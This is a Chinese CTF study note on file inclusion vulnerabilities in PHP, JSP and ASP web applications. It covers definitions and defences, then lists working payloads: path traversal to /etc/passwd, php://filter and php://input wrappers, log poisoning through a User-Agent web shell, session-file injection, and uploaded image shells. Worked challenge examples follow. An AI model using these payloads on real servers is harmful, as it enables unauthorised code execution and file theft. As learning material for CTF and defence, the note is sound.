Skip to content

CTF文件包含漏洞学习笔记

约 1697 字大约 6 分钟

CTF文件包含

2025-09-23

一、知识点梳理

1.1 定义

核心概念

文件包含漏洞是Web应用程序中常见的安全漏洞之一,当服务器端脚本(如PHP、JSP、ASP)使用用户可控的参数动态包含文件时,未对输入进行严格验证,导致攻击者可以控制包含的文件路径,从而读取敏感文件、执行恶意代码或进行其他攻击。

1.2 分类

类型定义典型条件
本地文件包含(LFI)攻击者只能包含服务器本地存在的文件基础包含函数+参数可控
远程文件包含(RFI)攻击者可以包含远程服务器上的文件LFI条件+allow_url_include=On[1]

LFI是CTF中更常见的场景,而RFI由于配置限制较多,实际环境中相对少见。

1.3 形成原理

服务器端脚本通过动态包含函数(如PHP的include()require())加载文件时,若文件路径参数未经过滤或验证,直接拼接用户输入,导致攻击者可构造恶意路径。例如:

<?php
$file = $_GET['file'];
include($file); // ❌ 危险做法:未过滤用户输入$file
?>

1.4 常见触发点

PHP触发函数
  • include():包含文件,出错时产生警告
  • require():包含文件,出错时终止脚本
  • include_once()/require_once():确保文件只被包含一次
JSP触发方式
  • 静态包含:<%@ include file="path" %>(编译期包含)
  • 动态包含:<c:import url="path"/>(运行期包含)
ASP触发方式
  • <!--#include file="path" -->(SSI指令包含)

1.5 利用条件

LFI利用条件

RFI额外条件

1.6 防御措施

防御清单

  1. 输入验证:严格过滤用户输入,仅允许指定的安全字符或路径
  2. 白名单机制:仅允许包含预定义的合法文件,拒绝动态拼接路径
  3. 禁用危险配置:如PHP中设置allow_url_include=Off,限制open_basedir
  4. 避免动态包含:尽量使用静态包含,减少用户可控参数的使用
  5. 文件路径规范化:使用realpath()[2]等函数验证路径合法性

二、解题方法总结

2.1 基础路径遍历

  • 原理:通过../(向上一级目录)构造路径,读取服务器本地文件
  • Payload示例?file=../../etc/passwd
  • 适用场景:LFI漏洞,服务器未过滤../或对路径长度无限制

绕过技巧

  • 双写绕过:....//(部分WAF会将../替换为空)
  • 编码绕过:%2e%2e%2f(URL编码)或..%2f
  • 绝对路径:直接使用/etc/passwd而非相对路径

2.2 伪协议利用

2.2.1 php://filter

功能与用法
  • 功能:读取文件源码并base64编码输出,避免直接执行
  • 适用场景:需要读取PHP文件源码时,避免代码执行导致的错误
  • Payload格式php://filter/[转换链]/resource=[目标文件]

常用转换链组合

转换链作用
convert.base64-encodeBase64编码输出,最常用
string.toupper转换为大写字母
convert.iconv.UCS-2LE.UCS-2BE字符编码转换

示例?file=php://filter/convert.base64-encode/resource=index.php

2.2.2 php://input

  • 功能:执行POST请求中的内容作为PHP代码
  • Payload示例?file=php://input,POST数据为<?php phpinfo();?>
  • 适用场景:PHP配置allow_url_include=On,且允许POST数据传入

2.2.3 其他伪协议

伪协议速查表
  • file://:读取本地文件,如file:///etc/passwd
  • data://:直接传入数据,如data://text/plain,<?php phpinfo();?>(需allow_url_include=On
  • zip://:读取压缩包内文件,如zip://shell.zip%23shell.php(需将PHP文件压缩为zip)

2.3 日志注入

完整攻击流程(点击展开)
  1. 注入PHP代码到日志
    使用Burp Suite修改请求头:

    GET /vuln.php?file=home HTTP/1.1
    Host: example.com
    User-Agent: <?php system($_GET['cmd']);?>
  2. 包含日志文件执行代码

    ?file=/var/log/apache2/access.log&cmd=whoami
  3. 获取敏感信息

    ?cmd=cat /flag.txt

重要

常见日志路径:

  • Apache:/var/log/apache2/access.log(Linux)、C:\xampp\apache\logs\access.log(Windows)
  • Nginx:/var/log/nginx/access.log
  • IIS:C:\Windows\System32\LogFiles\W3SVC1\

2.4 Session文件包含

  • 原理:PHP的Session文件默认存储在/tmp/sess_<sessionid>,若Session内容可控,可注入代码后包含
  • 步骤
    1. 获取Session ID(如Cookie中的PHPSESSID=abc123
    2. 向Session中注入代码:?username=<?php phpinfo();?>
    3. 包含Session文件:?file=/tmp/sess_abc123

2.5 配合文件上传的包含攻击

攻击步骤

  1. 上传文件shell.jpg,内容为<?php system($_GET['cmd']);?>
  2. 包含上传的文件:?file=uploads/shell.jpg&cmd=whoami

若服务器检查文件头,可在PHP代码前添加GIF文件头:GIF89a<?php ... ?>

三、题目示例分析

示例1:基础LFI配合伪协议读取源码

题目描述

某CTF题目提供如下PHP代码:

<?php
$file = $_GET['file'];
if(isset($file)){
    include($file.'.php'); // 自动添加.php后缀
}
?>

要求读取当前目录下flag.php的内容。

漏洞分析

  • 参数file可控,且自动拼接.php后缀
  • 直接传入flag会包含flag.php,但该文件可能直接输出flag或仅在特定条件下显示
  • 需读取flag.php的源码,因此使用php://filter伪协议绕过后缀拼接

关键Payload

?file=php://filter/convert.base64-encode/resource=flag

解题步骤

  1. 构造Payload:?file=php://filter/convert.base64-encode/resource=flag
    • 原理:php://filter会读取flag.php(因自动添加.php),并base64编码输出
  2. 访问该URL,得到base64编码后的源码:PD9waHAgZmxhZyA9ICJjdGZ7Tk9UX1RPT0xUX0ZMQVdfMl8zXzR9Ijs/Pg==
  3. 解码base64:<?php flag = "ctf{NOT_TOOLTIP_FLAG_2_3_4}";?>,获取flag

示例2:日志注入获取shell

题目描述

某CTF题目存在LFI漏洞,参数为?file=home,服务器使用Apache,日志路径未知,要求获取服务器权限。

关键Payload

  • 修改User-Agent头注入代码
  • 包含日志:?file=/var/log/apache2/access.log&cmd=cat flag.txt

示例3:Session文件包含

题目描述

某CTF题目存在如下代码:

<?php
session_start();
$_SESSION['username'] = $_GET['username'];
$file = $_GET['file'];
include($file);
?>

要求利用文件包含漏洞执行代码。

关键Payload

?username=<?php system('cat /flag');?>&file=/tmp/sess_abc123

四、总结与拓展

学习建议

  1. 掌握伪协议利用的多种组合方式
  2. 熟悉不同服务器日志路径(Linux/Windows)
  3. 练习Session包含与文件上传结合的综合利用场景
  4. 了解PHP版本差异对伪协议支持的影响(如PHP 7.4+对php://input的限制)

  1. PHP配置项,在php.ini中设置 ↩︎

  2. realpath()函数会解析所有符号链接并返回绝对路径 ↩︎

Written by GaifaGafin